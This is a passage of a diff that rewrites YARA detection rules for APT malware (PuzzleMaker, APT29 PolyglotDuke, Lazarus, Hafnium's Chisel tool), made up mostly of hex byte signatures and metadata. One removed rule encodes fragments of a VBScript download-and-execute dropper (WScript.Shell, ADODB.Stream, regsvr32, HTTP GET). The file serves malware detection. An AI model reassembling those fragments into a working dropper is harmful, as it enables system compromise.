16 00 8d 8d 64 fe ff ff c7 85 64 fe ff ff 43 61 6e 6e 51 8d 85 a6 fe ff ff c7 85 68 fe ff ff 6f 74 20 69 50 51 8d 8d 94 f7 ff ff c7 85 6c fe ff ff 6e 69 74 69 c7 85 70 fe ff ff 61 6c 69 7a c7 85 74 fe ff ff 65 20 73 69 c7 85 78 fe ff ff 67 6e 65 72 c7 85 7c fe ff ff 21 20 43 61 c7 85 80 fe ff ff 6e 6e 6f 74 c7 85 84 fe ff ff 20 70 65 72 c7 85 88 fe ff ff 66 6f 72 6d c7 85 8c fe ff ff 20 43 72 79 c7 85 90 fe ff ff 70 74 41 63 c7 85 94 fe ff ff 71 75 69 72 c7 85 98 fe ff ff 65 43 6f 6e c7 85 9c fe ff ff 74 65 78 74 c7 85 a0 fe ff ff 20 65 72 72 66 c7 85 a4 fe ff ff 6f 72 e8 8e 5a f1 ff c6 45 fc 48 83 78 14 10 72 02 8b 00 }
+		$seq3 = { c7 85 1c f8 ff ff 07 00 00 00 c7 85 18 f8 ff ff 00 00 00 00 33 c0 66 89 85 08 f8 ff ff 53 19 f3 21 db 21 fb 31 f3 29 fb 19 f3 bb 9f 7a e7 00 21 fb 90 5b 52 ba 77 2c 66 51 ba 60 54 5a 36 19 ea 09 ca ba 32 36 94 1b 90 5a 53 09 eb bb 92 73 c4 2a bb d1 71 ed 5e 01 eb bb 9b 43 21 23 90 5b 50 b8 09 65 36 3a 09 c0 29 e8 29 f8 21 f8 b8 3d 39 c6 44 01 e8 58 89 85 78 fd ff ff 89 85 7c fd ff ff 89 85 80 fd ff ff 89 85 84 fd ff ff 89 85 88 fd ff ff 89 85 8c fd ff ff c7 85 88 f8 ff ff 52 65 67 4f c7 85 8c f8 ff ff 70 65 6e 4b c7 85 90 f8 ff ff 65 79 45 78 c6 85 94 f8 ff ff 57 89 85 48 f8 ff ff 89 85 4c f8 ff ff c7 85 4c f8 ff ff 0f 00 00 00 89 85 48 f8 ff ff 88 85 38 f8 ff ff 8d 85 95 f8 ff ff 50 8d 85 88 f8 ff ff 50 8d 85 38 f8 ff ff 50 50 8b c8 e8 99 c1 de ff c6 45 fc 0a 83 bd 4c f8 ff ff 10 8b 85 38 f8 ff ff 73 06 8d 85 38 f8 ff ff 50 8d }
+		$seq4 = { 31 e1 b9 e9 52 83 05 29 d1 01 f9 59 80 7d 0c 00 0f 84 fb 03 00 00 66 c7 85 70 fe ff ff 0d 0a c7 85 50 fe ff ff 0d 0a 2d 2d c7 85 14 fe ff ff 53 75 62 6d c7 85 18 fe ff ff 69 74 74 65 c6 85 1c fe ff ff 64 c7 85 78 fd ff ff 43 6f 6e 74 c7 85 7c fd ff ff 65 6e 74 2d c7 85 80 fd ff ff 44 69 73 70 c7 85 84 fd ff ff 6f 73 69 74 c7 85 88 fd ff ff 69 6f 6e 3a c7 85 8c fd ff ff 20 66 6f 72 c7 85 90 fd ff ff 6d 2d 64 61 c7 85 94 fd ff ff 74 61 3b 20 c7 85 98 fd ff ff 6e 61 6d 65 c7 85 9c fd ff ff 3d 22 65 6e c7 85 a0 fd ff ff 64 22 0d 0a 66 c7 85 a4 fd ff ff 0d 0a 8d 8d 70 fe ff ff 8d 85 72 fe ff ff 51 50 51 8d 8d 3c fa ff ff e8 b3 34 fb ff 8b d8 c6 45 fc 35 8d 8d 50 fe ff ff 8d 85 54 fe ff ff 51 50 51 8d 8d 6c fa ff ff e8 93 34 fb ff 8b f8 c6 45 fc 36 8d 8d 14 fe ff ff 8d 85 1d fe ff ff 51 50 51 8d 8d 84 fa ff ff e8 73 34 fb ff c6 45 fc 37 83 78 14 10 72 02 8b 00 50 8d 8d 1c f8 ff ff e8 bb 33 fb ff 89 85 7c fe ff ff c6 45 fc 38 8d 8d 78 fd ff ff 8d 85 a6 fd ff ff 51 50 51 8d 8d 80 f8 ff ff e8 37 34 fb ff c6 45 fc 39 83 78 14 10 72 02 8b 00 ff b5 7c fe ff ff 8b d0 8d 8d 04 f7 ff ff e8 88 4e fc ff 83 c4 04 c6 45 fc 3a 83 7f 14 10 72 02 8b 3f 57 8b d0 8d 8d 9c f8 ff ff e8 cb 60 fb ff c6 45 fc 3b 8d 4d d4 51 8b d0 8d 8d 74 f7 ff ff e8 96 b9 00 00 83 c4 08 c6 45 fc 3c 83 7b 14 10 72 02 8b 1b 53 8b d0 8d 8d b8 f8 ff ff e8 99 60 fb ff 83 c4 04 c6 45 fc 3d 6a ff 6a 00 50 8d 4d a4 e8 d5 39 fb ff c6 45 fc 3c 83 bd cc f8 ff ff 10 72 0e ff b5 b8 f8 ff ff e8 d2 c5 1f 00 83 c4 04 c7 85 cc f8 ff ff 0f 00 00 00 c7 85 c8 f8 ff ff 00 00 00 00 c6 85 b8 f8 ff ff 00 c6 45 fc 3b 83 bd 88 f7 ff ff 10 72 0e ff b5 74 f7 ff ff e8 9c c5 1f 00 83 c4 04 c7 85 88 f7 ff ff 0f 00 00 00 c7 85 84 f7 ff ff 00 00 00 00 c6 85 74 f7 ff ff 00 c6 45 fc 3a 83 bd b0 f8 ff ff 10 72 0e ff b5 9c f8 ff ff e8 66 c5 1f 00 83 c4 04 c7 85 b0 f8 ff ff 0f 00 00 00 c7 85 ac f8 ff ff 00 00 00 00 c6 85 9c f8 ff ff 00 c6 45 fc 39 83 bd 18 f7 ff ff 10 72 0e ff b5 04 f7 ff ff e8 30 c5 1f 00 83 c4 04 c7 85 18 f7 ff ff 0f 00 00 00 c7 85 14 f7 ff ff 00 00 00 00 c6 85 04 f7 ff ff 00 c6 45 fc 38 83 bd 94 f8 ff ff 10 72 0e ff b5 80 f8 ff ff e8 fa c4 1f 00 83 c4 04 c7 85 94 f8 ff ff 0f 00 00 00 c7 85 90 f8 ff ff 00 00 00 00 c6 85 80 f8 ff ff 00 c6 45 fc 37 83 bd 30 f8 ff ff 10 72 0e ff b5 1c f8 ff ff e8 c4 c4 1f 00 83 c4 04 c7 85 30 f8 ff ff 0f 00 00 00 c7 85 2c f8 ff ff 00 00 00 00 c6 85 1c f8 ff ff 00 c6 45 fc 36 83 bd 98 fa ff ff 10 72 0e ff b5 84 fa ff ff e8 8e c4 1f 00 83 c4 04 c7 85 98 fa ff ff 0f 00 00 00 c7 85 94 fa ff ff 00 00 00 00 c6 85 84 fa ff ff 00 c6 45 fc 35 83 bd 80 fa ff ff 10 72 0e ff b5 6c fa ff ff e8 58 c4 1f 00 83 c4 04 c7 85 80 fa ff ff 0f 00 00 00 c7 85 7c fa ff ff 00 00 00 00 c6 85 6c fa ff ff 00 c6 45 fc 27 83 bd 50 fa ff ff 10 72 0e ff b5 3c fa ff ff e8 22 c4 1f 00 83 c4 04 c7 85 50 fa ff ff 0f 00 00 00 c7 85 4c fa ff ff 00 00 00 00 c6 85 3c fa ff ff 00 53 19 d3 bb 18 4a 91 1c 21 c3 bb 82 54 5d 2c bb b0 08 2a 58 90 5b 51 21 e9 b9 b9 6e b4 14 31 f1 01 c1 01 f9 19 e1 21 d9 09 f9 90 59 56 be cd 3a 33 5a be 85 1b aa 6f be 1e 6c 78 2d 19 d6 21 e6 90 5e 53 31 f3 bb 8c 21 88 0d 31 db 31 eb 19 d3 19 f3 31 f3 01 f3 90 5b 80 7e 40 00 0f 85 03 06 00 00 66 c7 85 60 fe ff ff 0d 0a c7 85 48 fe ff ff 0d 0a 2d 2d c7 85 d8 fc ff ff 43 6f 6e 74 c7 85 dc fc ff ff 65 6e 74 2d c7 85 e0 fc ff ff 44 69 73 70 c7 85 e4 fc ff ff 6f 73 69 74 c7 85 e8 fc ff ff 69 6f 6e 3a c7 85 ec fc ff ff 20 66 6f 72 c7 85 f0 fc ff ff 6d 2d 64 61 c7 85 f4 fc ff ff 74 61 3b 20 c7 85 f8 fc ff ff 6e 61 6d 65 c7 85 fc fc ff ff 3d 22 63 73 c7 85 00 fd ff ff 72 66 5f 74 c7 85 04 fd ff ff 6f 6b 65 6e c7 85 08 fd ff ff 22 0d 0a 0d c6 85 0c fd ff ff 0a 8d 8d 60 fe ff ff 8d 85 62 fe ff ff 51 50 51 8d 8d 00 f9 ff ff e8 b7 30 fb ff 8b d8 c6 45 fc 3e 8d 8d 48 fe ff ff 8d 85 4c fe ff ff 51 50 51 8d 8d 30 f9 ff ff e8 97 30 }
+		$op1 = { 37 25 38 3d 38 43 38 5e 38 6c 38 77 38 }
+		$op2 = { 3f 25 3f 36 3f 66 3f 74 3f }
+		$op3 = { 68 66 43 78 28 6a 25 }
+		$op4 = { 61 46 25 7c 5f 56 21 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >80KB and 5 of ($s*)
+		uint16(0)==0x5a4d and filesize >350KB and 2 of ($seq*) and 3 of ($op*)
 }
-rule ARKBIRD_SOLG_APT_Puzzlemaker_Launcher_Jun_2021_1 : FILE
+rule ARKBIRD_SOLG_APT_APT29_Polyglotduke_Mar_2021_1 : FILE
 {
 	meta:
-		description = "Detect the launcher of the PuzzleMaker group"
+		description = "Detect PolyglotDuke implant used by APT29 group"
 		author = "Arkbird_SOLG"
-		id = "ae31d9de-8e6c-5c1b-bc45-bc4e50cea00f"
-		date = "2021-06-10"
-		modified = "2021-11-01"
-		reference = "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-09/PuzzleMaker/APT_PuzzleMaker_Launcher_Jun_2021_1.yara#L1-L19"
+		id = "751e4f57-2c31-5cad-a794-e124b40c537b"
+		date = "2021-03-08"
+		modified = "2021-03-10"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_PolyglotDuke_Mar_2021_1.yar#L1-L19"
 		license_url = "N/A"
-		logic_hash = "5c717ca5c57a86e1b5db45b3d581a45be248d45820c00c40c57a001ac07ce1b2"
+		logic_hash = "3a6d54fb266fe054886569c200f122b1e4459e0d561fe5246b623a19ec526224"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "982f7c4700c75b81833d5d59ad29147c392b20c760fe36b200b541a0f841c8a9"
-		tlp = "White"
-		adversary = "PuzzleMaker"
+		hash1 = "9b33ec7f5e615a6556f147b611425d3ca4a8879ce746d4a8cb62adf4c7f76029"
+		hash2 = "0c39fce5bd32b4f91a1df4f6321c2f01c017195659c7e95a235ef71ca2865aa9"
 
 	strings:
-		$s1 = { 4c 89 6d bf 48 8d 45 bf 48 89 44 24 20 4c 8d 0d f9 45 01 00 33 d2 44 8d 42 01 48 8d 0d dc 45 01 00 ff 15 56 44 01 00 8b d8 85 c0 78 c6 4c 89 6d c7 48 8b 45 bf 48 8b 08 4c 8b 79 18 b9 18 00 00 00 e8 9b 04 00 00 48 8b d8 48 89 45 a7 48 85 c0 74 32 0f 57 c0 33 c0 0f 11 03 48 89 43 10 4c 89 6b 08 c7 43 10 01 00 00 00 48 8d 0d 15 fb 01 00 ff 15 cf 43 01 00 48 89 03 48 85 }
-		$s2 = { 44 89 6c 24 38 4c 89 6c 24 30 c7 44 24 28 03 00 00 00 c7 44 24 20 03 00 00 00 45 33 c9 45 33 c0 41 8d 51 0a 48 8b 4d c7 ff 15 f6 42 01 00 85 c0 0f 88 bb 01 00 00 48 8d 0d 1d fa 01 00 ff 15 c1 42 01 00 4c 8b f8 48 8d 0d 1b fa 01 00 ff 15 b1 42 01 00 4c 8b e0 4c 89 6d df 48 8b 4d c7 48 8b 11 4c 8b 52 30 4c 89 6c 24 28 48 8d 45 df 48 89 44 24 20 45 33 c9 45 33 c0 49 8b d4 41 ff d2 4c 89 6d e7 48 8b 4d df 48 8b 01 4c 89 6c 24 20 4c 8d 4d e7 45 33 c0 49 8b d7 ff 90 98 00 00 00 4c 89 6d cf 48 8b 4d e7 48 8b 01 4c 8d 45 cf 33 d2 ff 50 78 b8 08 00 00 00 66 89 45 ef 8d 48 10 e8 dc 02 00 00 48 8b d8 48 89 45 a7 48 85 c0 74 33 0f 57 c0 33 c0 0f 11 03 48 89 43 10 4c 89 6b 08 c7 43 10 01 00 00 00 48 8b ce ff 15 14 42 01 00 48 89 03 48 85 c0 75 0e 48 85 }
-		$s3 = { 4c 8d 05 75 0e 02 00 0f 1f 40 00 66 0f 1f 84 00 00 00 00 00 0f b6 d0 42 0f b6 0c 12 66 41 31 08 74 12 ff c0 49 83 c0 02 83 f8 20 72 e7 0f 1f 80 00 00 00 00 0f b7 05 49 09 02 00 48 8d 0d 76 09 02 00 66 d1 e8 66 83 e0 7f 66 0f 6f 15 f3 d4 01 00 66 89 05 2c 09 02 00 0f b7 05 27 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 19 09 02 00 0f b7 05 14 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 06 09 02 00 0f b7 05 01 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 f3 08 02 00 0f b7 05 ee 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 e0 08 02 00 0f b7 05 db 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 cd 08 02 00 0f b7 05 c8 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 ba 08 02 00 0f b7 05 b5 08 02 00 66 d1 e8 66 83 e0 7f f3 0f 6f 05 bc 08 02 00 66 89 05 9f 08 02 00 0f b7 05 9a 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 8c 08 02 00 0f b7 05 87 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 79 08 02 00 0f b7 05 74 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 66 08 02 00 0f b7 05 61 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 53 08 02 00 0f b7 05 4e 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 40 08 02 00 0f b7 05 3b 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 2d 08 02 00 0f b7 05 28 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 1a 08 02 00 0f b7 05 15 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 07 08 02 00 0f b7 05 02 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 f4 07 02 00 0f b7 05 ef 07 02 00 66 d1 e8 66 83 e0 7f 66 89 05 e1 07 02 00 b8 01 00 00 00 66 0f 6e c8 8d 50 05 66 0f d1 c1 66 0f db c2 f3 0f 7f 05 c7 07 02 00 0f }
-		$s4 = { 48 89 9c 24 60 06 00 00 48 89 b4 24 68 06 00 00 48 89 bc 24 70 06 00 00 4c 89 b4 24 30 06 00 00 c7 05 2e 1a 02 00 04 00 00 00 48 c7 05 27 1a 02 00 01 00 00 00 4c 89 2d 2c 1a 02 00 ff 15 22 48 01 00 48 8d 35 8b 04 02 00 66 66 66 0f 1f 84 00 00 00 00 00 33 d2 44 89 6c 24 70 41 b8 08 03 00 00 48 8d 8d 10 02 00 00 45 8b f5 e8 e4 28 00 00 4c 8d 0d 5d 03 02 00 48 89 74 24 20 ba 84 01 00 00 48 8d 8d 10 02 00 00 49 c7 c0 ff ff ff ff e8 a0 fb ff ff 48 8d 54 24 70 48 8d 8d 10 02 00 00 e8 9f 05 00 00 8b d0 85 }
-		$s5 = { 4c 89 6c 24 60 4c 8d 05 25 cc 01 00 4c 89 6c 24 58 48 8d 15 e1 04 02 00 4c 89 6c 24 50 41 b9 ff 01 0f 00 4c 89 6c 24 48 48 8b cf 4c 89 6c 24 40 48 89 74 24 38 44 89 6c 24 30 c7 44 24 28 02 00 00 00 c7 44 24 20 10 00 00 00 ff 15 19 46 01 00 48 8b d8 ff 15 a8 46 01 00 8b f0 48 85 db 74 22 48 8b cb ff 15 20 46 01 00 48 8b cb ff 15 ff 45 01 00 48 8b cf ff 15 f6 45 01 00 bf 01 00 00 }
-		$s6 = { 33 d2 33 c9 41 b8 3f 00 0f 00 ff 15 f4 46 01 00 48 8b f8 48 85 }
+		$seq1 = { 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 02 ff d0 48 83 c4 28 c3 cc 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 02 ff d0 48 83 c4 28 c3 cc 4c 8b 15 [2] 02 00 41 8b c0 4c 33 15 [2] 02 00 74 03 49 ff e2 83 e0 01 4c 8b ca 41 83 e0 02 8b d0 48 ff 25 [2] 01 00 cc cc cc 4c 8b 15 [2] 02 00 4c 33 15 [2] 02 00 74 03 49 ff e2 48 ff 25 [2] 01 00 cc cc 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 07 48 83 c4 28 48 ff e0 b9 78 00 00 00 ff 15 [2] 01 00 32 c0 48 83 c4 28 c3 cc cc cc 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 03 48 ff e0 33 c0 c3 cc cc 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 03 48 ff e0 }
+		$seq2 = { 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 57 48 83 ec 30 33 ff 48 8b da 48 8b f1 48 85 c9 75 18 e8 69 0c 00 00 bb 16 00 00 00 89 18 e8 b1 38 00 00 8b c3 e9 a7 00 00 00 48 85 d2 74 e3 e8 a8 3f 00 00 41 bf 01 00 00 00 85 c0 75 0c ff 15 [2] 01 00 85 c0 41 0f 44 ff 83 64 24 28 00 48 83 23 00 48 83 64 24 20 00 41 83 c9 ff 4c 8b c6 33 d2 8b cf ff 15 [2] 01 00 48 63 e8 85 c0 75 11 ff 15 [2] 01 00 8b c8 e8 b2 0b 00 00 33 c0 eb 4f 48 8b cd 48 03 c9 e8 e3 07 00 00 48 89 03 48 85 c0 74 e9 41 83 c9 ff 4c 8b c6 33 d2 8b cf 89 6c 24 28 48 89 44 24 20 ff 15 [2] 01 00 85 c0 75 1b ff 15 [2] 01 00 8b c8 e8 70 0b 00 00 48 8b 0b e8 ?? f3 ff ff 48 83 23 00 eb b0 41 8b c7 48 8b 5c 24 40 48 8b 6c 24 48 48 8b 74 24 50 48 8b 7c 24 58 48 83 c4 30 41 5f c3 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 57 48 83 ec 40 33 ff 48 8b da 48 8b f1 }
+		$seq3 = { ff 25 00 00 00 00 00 00 00 00 00 00 00 00 cc }
+		$seq4 = "InitSvc" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >80KB and 5 of ($s*)
+		uint16(0)==0x5a4d and filesize >100KB and 3 of them
 }
-import "pe"
-
-rule ARKBIRD_SOLG_APT_Lazarus_EPS_July_2020_1 : FILE
+rule ARKBIRD_SOLG_APT_Chisel_Hafnium_Feb_2021_1 : FILE
 {
 	meta:
-		description = " Detected Lazarus EPS script for download and execute the payload in base 64"
+		description = "Rule for detecting Chisel kit tool used by Hafnium"
 		author = "Arkbird_SOLG"
-		id = "244ef018-bc7b-5e10-bf65-b52fdb5ad403"
-		date = "2020-07-28"
-		modified = "2020-07-28"
-		reference = "https://twitter.com/spider_girl22/status/1287952503280082944"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-28/Lazarus/APT_Lazarus_EPS_July_2020_1.yar#L3-L30"
+		id = "cd6be3b4-71fd-5e17-8835-a331a24fc5d6"
+		date = "2021-02-23"
+		modified = "2021-04-25"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-23/Hafinum/APT_Chisel_Hafnium_Feb_2021_1.yara#L1-L28"
 		license_url = "N/A"
-		logic_hash = "0fbd6ac10a31cc9a571e42f8696480336cd350e56ba2ffafb386f066fd53c552"
+		hash = "4afa5fde76f1f3030cf7dbd12e37b717e1f902ac95c8bdf54a2e58a64faade04"
+		logic_hash = "8e56234ce59197a8df51b21b89d3a901785dbb0211ab576cb3d194de34b611de"
 		score = 75
-		quality = 45
+		quality = 57
 		tags = "FILE"
-		hash1 = "152c620980f0fc20a6eade0f5b726b98fc28392d84ce386a5fc1b0877ef446d7"
+		adversary = "Hafnium"
+		tlp = "white"
 
 	strings:
-		$s1 = { 63 64 20 2F 64 20 22 25 61 70 70 64 61 74 61 25 5C 4D 69 63 72 6F 73 6F 66 74 5C 49 6E 74 65 72 6E 65 74 20 45 78 70 6C 6F 72 65 72 22 }
-		$s2 = { 46 75 6E 63 74 69 6F 6E 20 42 61 73 65 36 34 44 65 63 6F 64 65 28 42 79 56 61 6C 20 76 43 6F 64 65 29 }
-		$s3 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 4D 73 78 6D 6C 32 2E 44 4F 4D 44 6F 63 75 6D 65 6E 74 2E 33 2E 30 22 29 }
-		$s4 = { 46 75 6E 63 74 69 6F 6E 20 42 69 6E 61 72 79 54 6F 53 74 72 69 6E 67 28 42 69 6E 61 72 79 29 }
-		$s5 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 41 44 4F 44 42 2E 53 74 72 65 61 6D 22 29 }
-		$s6 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 57 53 63 72 69 70 74 2E 53 68 65 6C 6C 22 29 }
-		$s7 = { 63 72 65 61 74 65 6F 62 6A 65 63 74 28 22 4D 69 63 72 6F 73 6F 66 74 2E 58 4D 4C 48 54 54 50 22 29 }
-		$s8 = { 2E 45 6E 76 69 72 6F 6E 6D 65 6E 74 28 22 50 52 4F 43 45 53 53 22 29 28 22 50 72 6F 67 72 61 6D 57 36 34 33 32 22 29 20 3D 20 22 22 }
-		$s9 = { 3A 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 53 63 72 69 70 74 69 6E 67 2E 46 69 6C 65 53 79 73 74 65 6D 4F 62 6A 65 63 74 22 29 2E 44 65 6C 65 74 65 66 46 69 6C 65 20 57 73 63 72 69 70 74 2E 53 63 72 69 70 74 46 75 6C 6C 4E 61 6D 65 2C 20 54 72 75 65 3E 22 }
-		$s10 = { 20 65 63 68 6F 20 73 74 61 72 74 20 2F 42 20 2F 6D 69 6E 20 63 73 63 72 69 70 74 2E 65 78 65 }
-		$s11 = { 22 5E 26 64 65 6C 20 22 25 7E 66 30 22 3E }
-		$s12 = { 2E 52 75 6E 20 22 72 65 67 73 76 72 33 32 2E 65 78 65 20 2F 73 20 }
-		$s13 = { 2E 54 79 70 65 20 3D 20 31 3A 2E 4F 70 65 6E 3A 2E 57 72 69 74 65 20 42 69 6E 61 72 79 3A 2E 50 6F 73 69 74 69 6F 6E 20 3D 20 30 3A 2E 54 79 70 65 20 3D 20 32 3A 2E 43 68 61 72 53 65 74 20 3D 20 22 75 73 2D 61 73 63 69 69 22 }
-		$s14 = { 2E 4F 70 65 6E 20 22 47 45 54 22 2C 20 }
-		$s15 = { 73 74 61 72 74 20 2F 42 20 2F 6D 69 6E 20 }
-		$URL1 = { 22 68 74 74 70 3A 2F 2F 74 ?? ?? ?? }
-		$URL2 = { 22 68 74 74 70 73 3A 2F 2F 74 ?? ?? ?? }
+		$str1 = { 48 61 6e 64 73 68 61 6b 69 6e 67 20 77 69 74 68 20 25 73 2e 2e 2e }
+		$str2 = { 4c 65 74 73 45 6e 63 72 79 70 74 20 63 61 63 68 65 20 64 69 72 65 63 74 6f 72 79 20 25 73 }
+		$str3 = { 65 6e 63 6f 64 65 20 65 72 72 6f 72 3a 20 25 77 }
+		$str4 = { 28 65 72 72 6f 72 20 25 73 29 }
+		$str5 = { 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 63 6c 69 65 6e 74 20 63 65 72 74 20 61 6e 64 20 6b 65 79 20 70 61 69 72 3a 20 25 76 }
+		$str6 = { 4c 69 73 74 65 6e 69 6e 67 20 6f 6e 20 25 73 3a 2f 2f 25 73 3a 25 73 25 73 }
+		$str7 = { 46 61 69 6c 65 64 20 74 6f 20 64 65 63 6f 64 65 20 50 45 4d 3a 20 25 73}
+		$str8 = { 43 6c 6f 73 65 64 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 28 25 73 29 }
+		$str9 = { 70 72 6f 78 79 23 25 73 }
+		$seq1 = { 48 89 05 5a 96 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 3c 67 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 05 fd ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d d7 b4 40 00 48 89 15 d8 b4 40 00 83 3d 41 0d 45 00 00 90 0f 85 b5 0b 00 00 48 89 05 b3 b4 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 50 eb 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 96 fc ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d e8 b2 40 00 48 89 15 e9 b2 40 00 83 3d d2 0c 45 00 00 0f 85 36 0b 00 00 48 89 05 c5 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 e3 ea 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 28 fc ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d da b2 40 00 48 89 15 db b2 40 00 83 3d 64 0c 45 00 00 0f 1f 40 00 0f 85 b0 0a 00 00 48 89 05 b3 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 ee 65 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 b6 fb ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d e8 b2 40 00 48 89 15 e9 b2 40 00 83 3d f2 0b 45 00 00 0f 85 31 0a 00 00 48 89 05 c5 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 04 ea 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 48 fb ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a b3 40 00 48 89 15 5b b3 40 00 83 3d 84 0b 45 00 00 0f 1f 40 00 0f 85 aa 09 00 00 48 89 05 33 b3 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 0f 65 10 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 d6 fa ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 12 0b 45 00 00 0f 85 2b 09 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 25 e9 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 68 fa ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a b2 40 00 48 89 15 5b b2 40 00 83 3d a4 0a 45 00 00 0f 1f 40 00 0f 85 a8 08 00 00 48 89 05 33 b2 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b4 e8 18 00 48 89 44 24 30 48 c7 44 24 38 01 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 f6 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 08 b1 40 00 48 89 15 09 b1 40 00 83 3d 32 0a 45 00 00 0f 85 29 08 00 00 48 89 05 e5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 21 64 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 88 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 5a af 40 00 48 89 15 5b af 40 00 83 3d c4 09 45 00 00 0f 1f 40 00 0f 85 a6 07 00 00 48 89 05 33 af 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 b1 63 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 16 f9 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d c8 b0 40 00 48 89 15 c9 b0 40 00 83 3d 52 09 45 00 00 0f 85 27 07 00 00 48 89 05 a5 b0 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 45 63 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 00 00 48 8d 44 24 30 48 89 04 24 48 c7 44 24 08 01 00 00 00 48 c7 44 24 10 01 00 00 00 e8 a8 f8 ff ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 89 0d 9a af 40 00 48 89 15 9b af 40 00 83 3d e4 08 45 00 00 0f 1f 40 00 0f 85 a4 06 00 00 48 89 05 73 af 40 00 0f 57 c0 0f 11 44 24 30 48 8d 05 d5 62 10 00 48 89 44 24 30 48 c7 44 24 38 02 00 